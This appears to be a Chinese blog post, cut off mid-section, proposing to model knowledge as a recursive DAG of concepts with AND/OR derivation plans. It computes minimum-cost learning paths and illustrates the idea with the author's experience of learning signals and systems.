G. Gallo, G. Longo, S. Pallottino, and S. Nguyen. Directed hypergraphs and applications. Discrete Applied Mathematics, 42(2–3):177–201, 1993. 有向超图的系统性处理，包括连通性、路径与割的定义，以及与命题逻辑、AND/OR 图的对应关系。 ↩︎
D. E. Knuth. A generalization of Dijkstra’s algorithm. Information Processing Letters, 6(1):1–5, 1977. 提出上位函数（superior function）条件，把 Dijkstra 推广到超图上的最小成本推导，是展开成本与深度成本可高效求解的依据。 ↩︎
U. Feige. A threshold of ln n for approximating set cover. Journal of the ACM, 45(4):634–652, 1998. 证明 $(1-o(1))\ln n$ 是集合覆盖近似的下界门槛，本文集合成本的不可近似性由归约传递而来。 ↩︎
G. Ausiello, G. F. Italiano, and U. Nanni. Hypergraph traversal revisited: Cost measures and dynamic algorithms. MFCS 1998, LNCS 1450. 指出超路径的最优化代价随所选度量函数，可以从线性时间一直变化到 NP-hard。 ↩︎
J. Goodman. Semiring parsing. Computational Linguistics, 25(4):573–605, 1999. 把推导的聚合统一到半环上，布尔半环给出可达性、$(\min,+)$ 给出最短推导、计数半环给出推导数量。 ↩︎
M. Habib and C. Paul. A survey of the algorithmic aspects of modular decomposition. Computer Science Review, 4(1):41–59, 2010. 模块分解给出「子图可被商图节点无损替代」的严格条件，本文用它说明任意子图的折叠不能默认无损。 ↩︎

[outdated] 万物皆概念：如何最大化学习速度？

Wed, 19 Aug 2026 01:32:48 +0800

我们怎样才能最大化学习速度？

我最初对这个问题产生兴趣，源于我做后端启蒙直播课的经历。在教学过程中，我发现自己对于不管是对于自身的学习，还是对于教学，都乐在其中。后来，在跟随我的导师学习“信号与系统”这门通常被认为难度较高的工科基础课时，我的一些观察得到了进一步印证。

我在学校基本不上课，期末才速通，但信号与系统是真的黔驴技穷。我的导师通过引入算子理论和希尔伯特空间，以通过考试为目标，重新构造了给我定制的教学路径，教学顺序和学校课程有非常大差异。结果，一门通常需要学习一学期还不一定能过的课程，在这一教学路径下我只用了 3 天的学习时间，从什么是信号都不知道的程度，最后实现了在期末考试中考到了 60 分的水平，最终成绩 71 分。

记忆犹新的是，我甚至拿到试卷才知道信号与系统用英语考，最后五分钟才发现试卷有一整面没被我搓开，那两道大题只写了五分钟，几乎只拿了前几步的分。

更令人惊讶的是，在他进一步改进教学线路，以集合论为起点之后，另一位有一定数学和理论物理基础的同学仅用半天就建立了对这门课主干理论的整体理解，并能够进入后续实践。这套“集合论版本”的教程实实在在地以集合论为起点，逐步推演到算子谱定理，再把卷积、微分等运算理解为在另一组基下的乘法，由此统一理解信号与系统中的各种变换。他并不以通过考试为目标，短短时间后已经能够在团队中编写高效的硬件优化算法。

这些经历让我得出一个暂时性的结论：学习路径才是学习速度的关键因素。它的影响可能远大于个人能力、同一学习路径上的教师教学能力、或其他的什么因素。学习路径才是学习过程中的主要矛盾。

我在上一篇相关文章《逃离应试教育，重新学会怎么思考》里提出，学习一个知识体系，本质上是在寻找它的“最小生成元 + 生成规则”。但那个说法仍然停留在方法论层面。这篇文章想再向前走一步：能否把学习路径变成一个可以被建模、计算和优化的问题？

基于这一观察，我最终构思了一个核心问题：

我们如何从学习者已经掌握的概念出发，找到能够推出目标概念定义的最低成本学习路线？

如果将概念视为点、概念之间的推导视为边，那么：

给定学习者已掌握的概念和目标概念，可以计算一张满足全部必要条件的最低成本推导子图。
当知识图中加入新的概念和有效推导时，可以重新计算可选路线，进一步压缩学习成本。

这篇文章将围绕这一核心逻辑展开，尝试讨论如何通过数据建模和路径优化，实现学习效率的飞跃。

目前它仍处于理论思考阶段，本人也并非有专业的数学素养，有许多定义尚不严密，也有待读者批评。下面我们进入正文。

我想做的产品

上面提出的问题并不只是这篇文章中的理论假设。我正在尝试把这套思路做成一个产品，目前仍处于开发初期。后文从 v0 到 v5 的模型演进，正是这个产品核心数据模型的演进。

我想做的是一套让知识能够被共同建模、共同教学、共同验证的基础设施。它首先要同时降低三件事的成本：

帮助有教学意愿的人，用更低的成本写出更好的教程。 教程作者不必从一页空白文档开始线性写作，而可以复用已有概念，以及推导边所携带的理解材料，把精力放在真正缺失或高成本的推导上。
帮助学习者用更低的成本学习一个目标概念。 系统根据学习者已经掌握的概念，即时生成通向目标概念的最低成本学习路线，而不是让所有人从同一份固定教程的第一页开始。
帮助任何人在记录和梳理知识时，同时创作教程。 一个人写下概念的定义、它解决的问题以及自己如何从旧概念抵达它时，实际上已经在贡献教程节点和推导边，而不只是在保存一份私人笔记。

这三件事可以形成一个闭环：

flowchart TB
A[记录和梳理个人知识] --> B[形成概念与推导]
B --> C[按学习者状态生成路线]
C --> D[学习者沿路线学习]
D --> E[产生理解与验证证据]
E --> F[发现缺失或高成本的边]
F --> B

如果这个闭环能够实现，学习者面对的教程就不再是传统教学方式中写死的教纲内容。我们可以随时根据整个知识体系，针对学生的当前理解状态以及学习目标，生成一条定制化的路线。学习者的卡点、回答和实践结果会成为反馈，系统需要据此识别哪些边经常失败、哪些概念缺少前置条件、哪些新路线确实降低了学习成本，再让作者、学习者或 Agent 继续补充和优化。

在我最终的愿景中，它能形成一种新一代的教育体系：教程的生产能力不再被少数教育机构垄断，而是分布给社会中所有愿意学习、解释、记录和验证知识的人。群众消费教程的同时，也在使用教程的过程中共同生产和改进教程。

要让这个闭环成立，个人的笔记、知识导图，和教程所使用的学习路线、章节划分，就不能继续使用彼此割裂的数据结构。它们必须能够被同一个模型表达。这是我最近总结出的模型的出发点。

万物皆概念

只有一种对象：概念

要计算学习路径，首先必须回答什么是知识体系里的“点”。

我最初仍然沿用了课程、章节、概念、问题等传统层级。但继续推演后会发现，这种分层并不自洽：

一门课程可以被拆成若干章节；
一个章节可以被拆成若干概念；
一个足够大的概念同样需要一整套教程；
一门课程本身也可以被视作一个更大的概念。

既然“课程”“章节”和“概念”都可以继续拆分，也都可以作为更大讨论对象的一部分，那么它们在数据结构上并没有本质区别。因此，与其维护一套固定层级，不如只保留一种对象：概念。

这里的概念不是一个术语或标签，而是一条客观的、默认成立的定义或陈述。例如“傅里叶变换”是一个概念，“信号与系统”也是一个概念；后者可以继续展开为一张以自身定义为目标、由多个子概念及其推导关系构成的知识图。

任何概念都同时具有两种性质：

它可以和其他概念组合，在满足封装条件时形成一个更大的概念。
它可以被继续展开，记录一张以它为目标、包含一条或多条有效推导路线的有向无环图。

因此，“万物皆概念”并不是说所有东西都要被塞进同一个扁平列表，而是说：知识体系中的每一层都使用同一种递归结构。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


Concept
├── definition # 这个概念最终应当能够被重新推导出的定义
├── children[] # 内部推导图引用的直接子概念
├── derivations[] # 子概念之间的推导边
└── derivation_plans[] # 由若干入边组成的推导方案

Derivation
├── source
├── target
├── question # 为什么需要从 source 推进到 target
├── answer # 完成这一步的推导和论证
└── materials[] # 帮助学习者完成这条推导的材料

这里唯一的知识节点类型仍然是概念。Derivation 是概念之间的关系，derivation_plans 则是对若干条边的组合，不是另一种知识节点。

子概念应当使用引用，而不是直接内嵌。为了让每个概念在所属知识体系中拥有确定的递归位置，本文暂时增加一条强约束：同一知识体系内，递归概念之间禁止部分交集；除父概念完整包含子概念的情况外，不同递归分支必须彼此分离。如果两个递归结构必须发生交集，暂时把它们放进不同的知识体系。这是一条为了换取结构稳定性而引入的模型公理，不是知识天然满足的事实；它的收益和代价将在文末继续讨论。

理解材料明确属于推导边，而不属于概念节点。概念陈述“是什么”，材料则服务于“如何从一个概念推导到另一个概念”；同一个目标概念可以由不同路线抵达，每条路线需要的解释和证据也可能不同。

边是概念之间的推导

如果节点是概念，那么边是什么？

我最初把边称为 Prompt，也就是“进入下一个概念的问题引入”。但这一定义并不完整。如果边只提出问题，却不包含如何回答问题，那么它仍然没有说明两个概念之间为什么能够连接。

因此，一条从 $a$ 指向 $b$ 的边，应当表示概念 $a$ 对推导概念 $b$ 所作的贡献。当它单独构成一套推导方案时，这条边承载从 $a$ 到 $b$ 的完整过程；当它属于一个 AND 方案时，多条边共同构成推出 $b$ 的完整过程。每条边至少包含三部分：

问题引入：旧概念遇到了什么局限，或者现实中出现了什么新问题？
问题解答：通过什么论证、构造或抽象，可以从旧概念得到新概念？
理解材料：为了完成这一步推导，可以阅读、观察、操作或验证什么？

例如，“行列式”不应该通过“把这一串运算命名为什么”来引入。这只是在复述定义，没有推进认识。更合理的边可能是：

我们需要判断一个线性变换是否把空间压扁，也就是它是否可逆。能否构造一个在行变换下行为明确、又能表示有向体积缩放的标量？由这一需求构造出行列式。

一条合理的边通常至少满足以下一种条件：

解决前一个概念的局限；
触碰前一个概念的表达边界；
回答现实中遇到的具体问题；
将若干重复出现的推理压缩为一个可复用概念。

这也为“新增边”设置了约束。我们不能为了让图上的距离变短，就画一条没有论证的直线。边的长度可以短，但边所承载的推导不能被省略。

把学习成本写成有效推导子图的成本

设学习者已经掌握的概念集合为 $S$，目标概念为 $t$。记 $\mathcal{R}(S,t)$ 为所有能够从 $S$ 推出 $t$ 的有效推导子图集合。每个 $R \in \mathcal{R}(S,t)$ 都必须递归选择一套 OR 方案，并完整包含该方案内的全部 AND 边；递归遇到 $S$ 中已经掌握的概念时停止。

在无权模型中，可以先把一条路线的结构成本定义为其中包含的推导边数：

$$ C_0(R) = |E_R| $$

于是当前知识图中的最低结构成本为：

$$ C_0^*(S,t) = \min_{R \in \mathcal{R}(S,t)} |E_R| $$

若每条边有不同成本，则可以把边权定义为完成该推导所需的时间、认知负荷或材料长度：

$$ C_u^*(S,t) = \min_{R \in \mathcal{R}(S,t)} \sum_{e \in E_R} w_u(e) $$

这里的 $w_u(e)$ 是学习者 $u$ 完成推导边 $e$ 的成本，共享的前置推导在同一子图中只计算一次。当所有推导方案都只有一条边时，有效推导子图退化成普通路径，这个公式也就退化成通常的最短路径问题。

因此，本文继续使用“最短学习路径”这个直观说法，但严格的求解对象应当是最低成本有效推导子图。它的任意拓扑序都可以形成一种合法讲述顺序；尤其对于同一个 AND 方案中的独立前置分支，先学习哪一个不会改变路线的成立性和总成本。

一个概念可以被理解多次

同一个定义可能由多条不同路线推出，理解并不必在第一次抵达后停止。

本文把理解的最终判据定义为：学习者完成一张有效推导子图后，能够重新推出目标概念的定义。但“能够推出”仍然需要证据，不能由图上的可达性直接替代。对知识的深度理解，是解决真实问题的前提；而能否解决真实问题，才是本文所讨论的学习路径最终要优化的目标。

一个可能的处理方式，是为每个概念维护置信度 $m_u(c) \in [0,1]$，并根据回答、实践、遗忘和迁移表现不断更新。已掌握集合 $S$ 不再是固定集合，而是从连续状态中按当前任务要求投影出来的结果。

在理论模型之外，或许可以把每完成一条不同的有效路线视为增加 $100\%$ 的理解倍率；如果学习者完整掌握两条路线，又完成第三条路线的一半，就可以记作 $250\%$。这里的百分比不是概念本体的一部分，也不是传统意义上封顶于 $100\%$ 的完成度，只是对“能够从多少条路线重新生成同一概念”的一种投影。这样可能看起来会更有成就感(x

存在 AND 条件时，这里说的“一条路线”指一张完整的有效推导子图，而不是任取一条忽略其他必要前提的简单路径。同一张推导子图的不同拓扑序只改变一个概念的独立前置条件学习先后顺序，不会增加理解倍率。

此外，两张有效推导子图可能只相差一条边，也可能使用完全不同的生成规则。前者是否足以在现实意义上算作一条新的理解路线，不能只靠“边集合不相等”来判断。

这也会影响前文的理解倍率：如果对知识图中的每条简单路径机械计数，少量分支就可能组合出指数级路线，重复或近似相同的推导也会虚增理解程度。这实际上是知识图谱的构建存在问题，最终可能只能靠真正理解知识的人类来评估实际知识图谱的质量如何。更合理的如何判定两条路线的重合度，可能需要进一步讨论。

通过新增点和边压缩学习路径

在已有图中寻找最低成本有效路线，解决的是“如何使用现有知识结构”。更重要的问题是：能不能改造知识图本身？

新的路线不一定来自一条直连目标的边。我们也可以引入一个压缩率更高的中间概念，再建立它与已有概念和目标概念之间的推导边。只要所有路线的并集仍然无环，旧路线和新路线就可以同时保留，成为可随时选择的不同 OR 方案。

一个高度抽象的统一理论确实能缩短后续路线，但学习这个统一理论本身也需要成本。如果为了少学五条边，先引入一个成本相当于二十条边的新概念，整体上反而更慢。

因此增加新的点和边时必须计算整张有效推导子图的总成本，而不能只比较边数。所谓“更短路线”必须经过实际学习结果验证，而不能只在图形上看起来更短。

假设当前最低成本路线包含 18 条边。加入新的概念和推导方案后，另一张有效推导子图只包含 3 条边。现实中的意义就是：学习者不必再依次记忆 18 个彼此松散的终态，而可以通过 3 个高压缩率的生成规则推出同一目标。

优化过程可以写成一个循环：

根据学习者已掌握的概念集合 $S$ 和目标 $t$，计算当前最低成本有效推导子图。
检查其中成本最高、跳跃最大或重复推理最多的位置。
尝试寻找或构造新的中间概念，并补充相应的推导边与推导方案。
验证新增推导包含完整论证，AND/OR 关系明确，并且整张图仍然无环。
将新的点和边加入知识图，重新计算 $C_u^*(S,t)$。
比较优化前后的学习成本，并通过实际学习结果修正边权。

flowchart TD
A[给定已掌握概念 S] --> B[选择目标概念 t]
B --> C[计算最低成本有效推导子图]
C --> D{成本是否过高}
D -- 否 --> E[输出一种合法拓扑序]
D -- 是 --> F[定位高成本推导]
F --> G[寻找或构造新的点和边]
G --> H{推导有效且整图无环}
H -- 否 --> F
H -- 是 --> I[加入知识图并更新方案]
I --> C

这也证明了一条优秀的学习路线用更少的生成规则覆盖更多结论。它减少的是重复、悬空和无法复用的认知工作。

每个概念都可以展开为一张 DAG

设全体概念构成集合 $C$。对任意概念 $c \in C$，它拥有一个直接子概念集合：

$$ \operatorname{children}(c) \subseteq C $$

这些子概念、目标概念本身以及它们之间的推导关系，构成概念 $c$ 的内部图：

$$ G_c = (V_c, E_c), \qquad V_c = \operatorname{children}(c) \cup {c} $$

这里的 $c$ 是整张内部图最终要推出的目标，而不是它自己的子概念。我暂时要求 $G_c$ 是一张有向无环图，也就是 DAG。

有向，意味着推导有方向：“已知 A，如何得到 B”和“已知 B，如何得到 A”不是同一个过程。

无环，意味着不能用待学习的概念反过来证明它自己的前提。一个环通常代表循环论证，或者说明当前概念边界划分得不合理。

DAG 至少存在一个入度为 0 的节点，因此每个知识图都存在学习入口。但“存在一条指向目标的边”还不足以描述真实推导，因为一个概念可能需要多个前置条件共同推出。

对任意目标节点 $v$，记它的入边集合为 $\operatorname{In}(v)$。概念 v 的推导方案集合，是它所有非空入边组合中的一部分。因此再定义推导方案集合：

$$ \mathcal{P}(v) \subseteq 2^{\operatorname{In}(v)} \setminus {\varnothing} $$

每个 $P \in \mathcal{P}(v)$ 都是一套能够推出 $v$ 的完整方案：

同一个 $P$ 内的所有边是 AND，必须全部完成；
不同的 $P$ 之间是 OR，只需完成其中一套；
一条边可以同时属于多套方案，因此推导方案与边是多对多关系；
不需要合取条件的单条入边，可以自然地构成一个只包含自身的方案。

例如，若 $v$ 可以由“$A$ 与 $B$ 共同推出”，也可以单独由 $C$ 推出，那么：

$$ P_1 = \lbrace A \to v, B \to v \rbrace, \qquad P_2 = \lbrace C \to v \rbrace $$

$$ \mathcal{P}(v) = \lbrace P_1, P_2 \rbrace $$

这对应 $(A \land B) \lor C \Rightarrow v$。AND 和 OR 不需要变成新的概念类型，它们只是推导边之间的组合语义。

当学习者选择一个 AND 方案时，方案内各个前置分支的先后顺序没有语义上的影响。只要各分支分别满足自身依赖，先理解 $A$ 再理解 $B$，或者先理解 $B$ 再理解 $A$，最终都完成同一套推导方案。DAG 的拓扑序只给出合法顺序，不规定独立前置条件之间唯一的学习次序。

因此，从已有概念到目标概念的一条有效学习路线，在一般情况下并不是图论中的单条简单路径，而是一张递归选择 OR 方案、同时展开其中全部 AND 条件的推导子图。它可以存在多种等价的拓扑排序，并被线性地讲述，但其底层结构仍然可能分叉。

这里也不再需要预先固定一份教程。给定学习者已掌握的概念和目标概念之后，才从完整知识图中选择一张有效推导子图。真正理解目标概念的判据，是学习者完成其中的必要推导，并最终能够重新推出 $\operatorname{definition}(c)$。

递归展开必须满足约束。这里所说的“展开”并不是把概念当成一个集合，再声称它在本体上等于所有子概念之和。内部 DAG 表达的是怎样从若干入口重新生成这个概念。

设 $I$ 是内部图 $G_c$ 声明的入口条件，$F_{G_c}(I)$ 表示按照图中的 AND/OR 方案完成一张有效推导子图。一次有效展开首先只承诺：

$$ F_{G_c}(I) \Rightarrow \operatorname{definition}(c) $$

也就是说，完成这张图足以推出概念 $c$。反方向不必成立：$c$ 还可以存在其他尚未记录或属于其他知识体系的推导路线。因此，$G_c$ 是一组充分推导，而不是对概念全部含义和全部理解方式的穷尽。

为了让递归展开不制造错误路线，本文暂时要求它满足以下约束：

目标固定：展开前先有概念 $c$ 及其定义，$c$ 是内部图唯一要推出的目标；不能先框选一批相关知识，再倒过来假定它们自然定义了某个概念。
节点相关：每个内部节点都必须位于某条通向 $c$ 的有效推导中。只与主题相关却不参与推导的材料，不应仅凭相关性成为子概念。
方案完整：任何被选中的 AND 方案都必须包含全部必要边，不能通过拆分概念省略一半前提。
内部闭包：除明确声明的入口外，每个内部节点都必须至少拥有一套完整的内部推导方案；所有外部假设都必须通过入口暴露出来。
推导可靠：每张被声明为有效的内部推导子图，都必须真的足以重新推出 $\operatorname{definition}(c)$，而不只是让学习者记住同一个结论。
不要求穷尽：一张内部图可以只记录目前已知的若干充分路线。以后发现的新路线可以作为新的 OR 方案加入，而不意味着旧展开曾经定义了概念的全部本质。
掌握关系单向：沿某张有效内部子图完成推导，可以成为掌握 $c$ 的证据；但已经掌握 $c$，不代表学习者掌握了图中所有子概念和所有替代路线：

$$ \operatorname{mastered}(c) \not\Rightarrow \bigwedge_{v \in \operatorname{children}(c)} \operatorname{mastered}(v) $$

内部细节不自动导出：外部关系仍然以 $c$ 明确承诺的定义为准。不能因为某个内部节点出现在 $G_c$ 中，就假定掌握 $c$ 的人必然能够使用这个内部节点的全部外部关系。
成本不会因折叠消失：当学习者需要沿内部图推出 $c$ 时，实际完成的边仍然计入学习成本；把整张图显示成一个概念节点，不会把多步理解变成一步。
递归结构仍须合法：展开后的整张推导图必须保持无环，并继续满足本文暂定的禁止部分交集约束。

用自然语言来说，这些条件是在避免几种看似“拆开了”、实际却不成立的解释：不能把一串相关名词当成概念的组成；不能把隐藏的基础知识留在图外；不能少学一个必要前提却得到同一个结论；不能把目前记录的一条路线冒充概念唯一的本质；也不能因为一个人会使用父概念，就宣称他已经理解其内部每一种理论细节。

这也解释了展开与封装为什么不完全对称。展开已有概念时，父概念 $c$ 和它原有的外部关系仍然存在，新增内部图只需要证明一条单向的充分推导 $F_{G_c}(I)\Rightarrow c$。封装则要创造一个新父概念，并让它在外部替代整张子图；这要求更强的边界对应，接近证明父概念与内部条件在允许的查询范围内能够双向替代。展开同样会出错，只是当它被限制为增加充分推导而非重写概念本体时，影响范围更容易被约束。

把一段 DAG 封装成更大的概念

前文说概念既可以被继续拆分，也可以和其他概念组合。这两个性质结合起来还有一个重要设想：当一段 DAG 满足必要的封装条件时，可以把它封装成一个新的父概念。原来从外部指向子图边缘节点的关系，可以投影为指向父概念的关系；原来从边缘节点指向外部的关系，也可以投影为从父概念出发的关系。父概念展开时仍然保留原来的内部推导，折叠时则成为一个可以继续参与更大 DAG 的普通节点。

flowchart LR
subgraph EXPANDED[展开视图]
direction LR
X1[外部概念 X]
Z1[外部概念 Z]
subgraph MODULE[可封装推导模块 H]
direction TB
A[入口 A] --> B[内部概念 B]
C[入口 C]
B -->|方案 Q1| D[唯一目标 r_H<br/>Q1：B AND C]
C -->|方案 Q1| D
end
Y1[外部概念 Y]
X1 --> A
Z1 --> C
D --> Y1
end
subgraph FOLDED[折叠视图]
direction TB
X2[外部概念 X] -->|方案 QP| P[父概念 P<br/>F_H = X AND Z]
Z2[外部概念 Z] -->|方案 QP| P
P --> Y2[外部概念 Y]
end
D -. 封装映射 pi_H .-> P
style MODULE fill:#eff6ff,stroke:#1d4ed8,stroke-width:2px
style P fill:#f0fdf4,stroke:#15803d,stroke-width:2px
style D fill:#fff7ed,stroke:#c2410c,stroke-width:2px

图中两条标为 $Q_1$ 的入边属于同一套 AND 方案，因此只有 $B$ 与 $C$ 都完成，才能推出唯一目标 $r_H$。折叠后，两条标为 $Q_P$ 的边仍属于同一套 AND 方案，父概念保留边界条件 $F_H=X\land Z$；虚线 $\pi_H$ 表示封装映射，不是新的推导边。这样，展开和折叠表达的是同一个推导条件，而不是两张碰巧长得相似的图。

但不是任意框选的一段 DAG 都能成为概念。设候选子图为 $H=(V_H,E_H)$，本文暂时把能够封装的子图限制为一种可封装推导模块。它必须满足以下条件：

单一目标：$H$ 有且只有一个代表其结论的目标节点 $r_H$，并且每个内部节点都位于某条通向 $r_H$ 的路径上。若干节点之间不存在共同目标，它们只能构成一个集合或视图，不能仅凭被同时框选就成为概念。
推导方案完整：任何被 $H$ 使用的 AND 方案都必须被完整包含，不能只截取其中一部分边；不同完整方案仍然可以作为 OR 方案同时存在。
内部推导闭包：除明确声明的入口节点外，每个参与内部推导的节点都必须至少拥有一套完全位于 $H$ 内部的有效推导方案，不能暗中依赖未被接口表达的外部条件。
入口明确：所有从外部进入 $H$ 的边只能抵达声明过的入口节点；这些边之间原有的 AND/OR 组合必须作为整体保留，不能在投影后被拆成若干互相独立的单边方案。
单一出口：所有从 $H$ 指向外部的推导边都必须从 $r_H$ 出发。若外部推导必须直接使用某个内部节点，那么这个节点仍然属于模块的外部接口，当前子图还不能被完整封装成一个概念。
边界条件可表达：从外部前提推出 $r_H$ 的条件必须能够汇总为一个关于入口的 AND/OR 公式 $F_H$。例如 $F_H=(I_1 \land I_2)\lor I_3$，封装后的父概念必须保留这套组合语义，而不是只保留三条扁平入边。
成本语义可保持：父概念必须能够表示从不同入口组合完成内部有效推导的最低成本，以及共享前置是否重复计费。若无法定义这种对应关系，父概念就不能替代原子图参与最低成本路线计算。
不产生部分交集：$V_H$ 与已有递归概念的范围必须完整包含或完全分离，不能只重叠其中一部分。这沿用本文暂时采用的“禁止递归交集”公理。
存在统一定义：图结构只能说明 $H$ 在形式上可以被收拢，不能自动证明它在语义上构成一个概念。新的父概念还必须拥有明确的定义或焦点问题，并说明内部 DAG 为什么恰好生成这个定义。

因此，本文所说的可封装概念，暂时是指一张推导方案完整、内部依赖闭合、具有显式入口和单一语义出口的有根子 DAG。这些是为了避免明显语义错误而采用的一组保守条件，不代表所有条件都已经被证明为必要。

用自然语言来说，这些限制是在避免几种现实意义上显然不合理的“概念”：

不能把一堆恰好放在一起、却没有共同结论的知识命名成一个新概念。 单一目标和统一定义要求这个概念最终必须说清楚“它究竟是什么”。
不能省略一半必要条件，然后宣称完整概念已经被推出。 方案完整和内部闭包要求所有必要前提都真实存在；如果一个结论需要 $A$ 与 $B$，只框选 $A$ 不能算完成封装。
不能在展开时要求多个条件共同成立，折叠后却变成满足任意一个条件都可以。 显式入口和边界公式要求 AND/OR 语义在封装前后保持一致。上图中只知道 $X$ 或只知道 $Z$，都不能宣称已经掌握 $P$。
不能说自己掌握了父概念，就默认掌握了它内部任意一个没有被导出的细节。 单一出口要求外部只能使用父概念真正承诺的结论；如果后续推导必须直接依赖内部细节，这个细节就不能被藏起来。
不能通过把十步推导折叠成一个节点，就假装学习成本从十步变成一步。 封装改变的是抽象尺度，不会让内部推导成本凭空消失。
不能让两个概念各自只包含同一结构的一半，却都声称完整拥有这段知识。 禁止部分交集要求递归边界清楚；否则展开其中一个概念时，很难判断另一半究竟属于哪里。
不能只因为图形上可以收拢，就断言它在语义上是一个概念。 最终仍然需要一个能够被解释、推导和检验的定义。

如果边界投影能够在这些约束下保持原图中的可推导性和成本语义，知识图就可以在不同抽象尺度之间切换：封装一个子图时，可以根据原边界得到它与外部概念的关系；这个新父概念还可以继续和其他概念组合，递归形成更大的 DAG。图中只展示了边的直观投影，这些条件是否已经足够、哪些条件还可以放宽，将在文末继续讨论。

用信号与系统验证路径优化

有了上面的模型之后，我们再回头看开头的信号与系统案例。这里把三条教学路线视为三张近似线性的有效推导子图，观察新增概念和推导如何改变路线成本。x

传统教学很容易把学习速度归因于某种固定的个人属性：聪明、记忆力好、数学基础强，或者足够努力。这些因素当然存在，但它们并不能解释一个现象：同一个人面对同一个知识体系，仅仅更换概念的引入顺序和推导方式，学习速度就可能发生数量级的变化。

我学习信号与系统的经历就是如此。我把三天内形成的理解记录在尚未完成的《信号与系统速通：现代视角下的信号与系统理论体系》中。它并不是一份严格完成的教材，但可以还原当时实际走过的学习线路。

学校课程往往按照公式和题型平铺展开：先给出若干信号，再介绍系统性质，然后依次学习卷积、傅里叶变换、拉普拉斯变换和 Z 变换。每一种变换看起来都像一套新的公式，需要分别记忆。学校教纲本身并不涉及函数空间、内积或算子理论。

我最初三天走过的路线从系统与微分方程逐步向上抽象：

先把系统理解成从输入信号到输出信号的映射；
追问为什么微分方程适合描述一类连续时间系统，并把问题限制到 LTI 系统；
从常系数微分方程中发现 $e^{st}$ 是微分算子的特征函数；
用冲激响应与冲激分解理解卷积为什么能够描述 LTI 系统；
再引入函数空间、内积和希尔伯特空间的视角，把信号理解成函数空间中的向量；
最后回到傅里叶、拉普拉斯和 Z 变换，理解它们如何在各自适用的条件下，把卷积、微分或差分等运算转化为更容易处理的代数运算。

导师后来构造的“集合论版本”并不是我三天内实际走过的路线。它从集合论出发，建立集合、映射、空间与基，再推演到算子谱定理；得到谱与特征方向的视角后，把原本复杂的卷积、微分等运算理解为在另一组基下的乘法，最后将各种变换放回同一个模型中。

因此，从学校教纲到我的三天路线，就已经不是单纯调整顺序，而是为知识图引入函数空间、内积、希尔伯特空间和算子理论等新点，并建立它们与原有内容之间的新边。后来的集合论版本又在这张图上继续引入“集合论”“空间与基”“算子谱定理”等高压缩率中间节点；从这些节点建立到各种变换的新推导边后，原本需要逐个抵达的结论可以从统一结构中生成。

这样一来，许多原本彼此孤立的公式，变成了同一个生成规则在不同条件下的结果。需要记忆的终态变少了，可以从已有概念重新生成的内容变多了。

三条学习路线的长度对比

flowchart LR
subgraph T[常见教材路线]
direction TB
T1[公式与题型] --> T2[卷积]
T2 --> T3[傅里叶变换]
T3 --> T4[拉普拉斯与 Z 变换]
end
subgraph P1[我的三天路线：20 个节点 / 19 条边]
direction TB
A0[已有数学基础] --> A1[系统]
A1 --> A2[输入输出映射]
A2 --> A3[微分方程]
A3 --> A4[线性化]
A4 --> A5[时不变性]
A5 --> A6[LTI 系统]
A6 --> A7[特征方程]
A7 --> A8[e^st 特征函数]
A8 --> A9[冲激函数]
A9 --> A10[冲激响应的线性组合]
A10 --> A11[卷积]
A11 --> A12[函数空间]
A12 --> A13[内积]
A13 --> A14[希尔伯特空间]
A14 --> A15[傅里叶变换]
A15 --> A16[拉普拉斯变换]
A16 --> A17[算子视角]
A17 --> A18[算子谱]
A18 --> A19[统一理解各种变换]
end
subgraph P2[集合论版本：6 个节点 / 5 条边]
direction TB
B0[已有数学基础] --> B1[集合论]
B1 --> B2[空间与基]
B2 --> B3[算子谱定理]
B3 --> B4[运算在另一组基下变成乘法]
B4 --> B5[统一理解各种变换]
end
T -. 新增点与边 ① .-> P1
P1 -. 新增点与边 ② .-> P2
style T fill:#fff7ed,stroke:#c2410c,stroke-width:2px
style P1 fill:#eff6ff,stroke:#1d4ed8,stroke-width:2px
style P2 fill:#f0fdf4,stroke:#15803d,stroke-width:2px

这三条线路展示了两次连续发生的学习路线优化，也就是两次对图结构本身的改造。图中只保留了各条线性路线主干上的概念和推导边。

需要说明的是，这仍然是一张示意图。尤其是集合论版本，我没有亲自沿这条路线学习，节点可能存在遗漏或表述偏差；这里能够确定的是，它事实上使用了比我的路线更短的主干路径。

第一次改造从学校教纲出发，引入函数空间、内积、希尔伯特空间和算子理论，并建立这些新概念与微分方程、LTI、冲激、卷积和各种变换之间的推导边。这次改造形成了我的三天路线。

为了让两条路线能够直接比较，图中为它们设置了相同的起点“已有数学基础”和相同的目标“统一理解各种变换”。按照当前的抽象粒度，我的路线包含 20 个节点和 19 条推导边；集合论版本由 6 个高压缩率节点和 5 条推导边组成。由于两者在示意图中都是线性特例，所以结构成本与路径距离相同：

$$ C_0(R_{\text{我的路线}}) = d_{\text{我的路线}} = 19 $$

$$ C_0(R_{\text{集合论版本}}) = d_{\text{集合论版本}} = 5 $$

$$ \Delta C_0 = 5 - 19 = -14 $$

也就是说，在这张无权示意图上，重构后的路线减少了 14 条边，结构成本约为原路线的 $26%$。另一位同学半天内建立整体理解，可以被看作第二次图结构改造的一次实际教学结果。

这里比较的是当前建模粒度下的无权结构成本，并不意味着学习时间一定与边数线性对应。每条边的真实成本仍可能不同，因此上文进一步给出了加权模型。但如果不把节点和推导边拆开，连结构成本的变化都无法被观察，更不可能进一步估计边权。

在不改变图时，模型仍然可以从现有 OR 方案中寻找最低成本有效路线；但这里的两次教学改进都不是单纯换一个拓扑顺序，而是同时引入了新的点、边和推导方案。

这并不意味着微分方程、卷积等概念不再需要学习，而是它们不再作为互不相干的终点被依次灌输。统一模型提供了更高压缩率的索引，使具体结论能够在需要时被推导出来。

这个模型是怎样演进出来的

上文先给出了当前的 v5 模型，但“万物皆概念”并不是它的起点。它是我在不断尝试定义课程、章节、概念和问题时，被前一版模型的矛盾逐步逼出来的结果。

这里回过头保留从 v0 到 v5 的推理链。每一版都不是简单增加字段，而是在回答上一版无法回答的问题。

flowchart LR
V0[v0 词条罗列] -->|对象之间是什么关系| V1[v1 分层对象]
V1 -->|概念是否属于章节| V2[v2 全局概念与子图]
V2 -->|三类边无法统一| V3[v3 Prompt 唯一边]
V3 -->|教学顺序从哪里来| V4[v4 DAG 与拓扑序]
V4 -->|章节与概念并不同构| V5[v5 递归概念模型]

v0：把所有东西列成词条

最初的模型只是在罗列产品里可能存在的对象：Course、Chapter、Concept、Prompt、Misconception、Interaction、Evidence 和 UserWikiGraph。每个对象都有一张字段表，但对象之间没有统一结构。

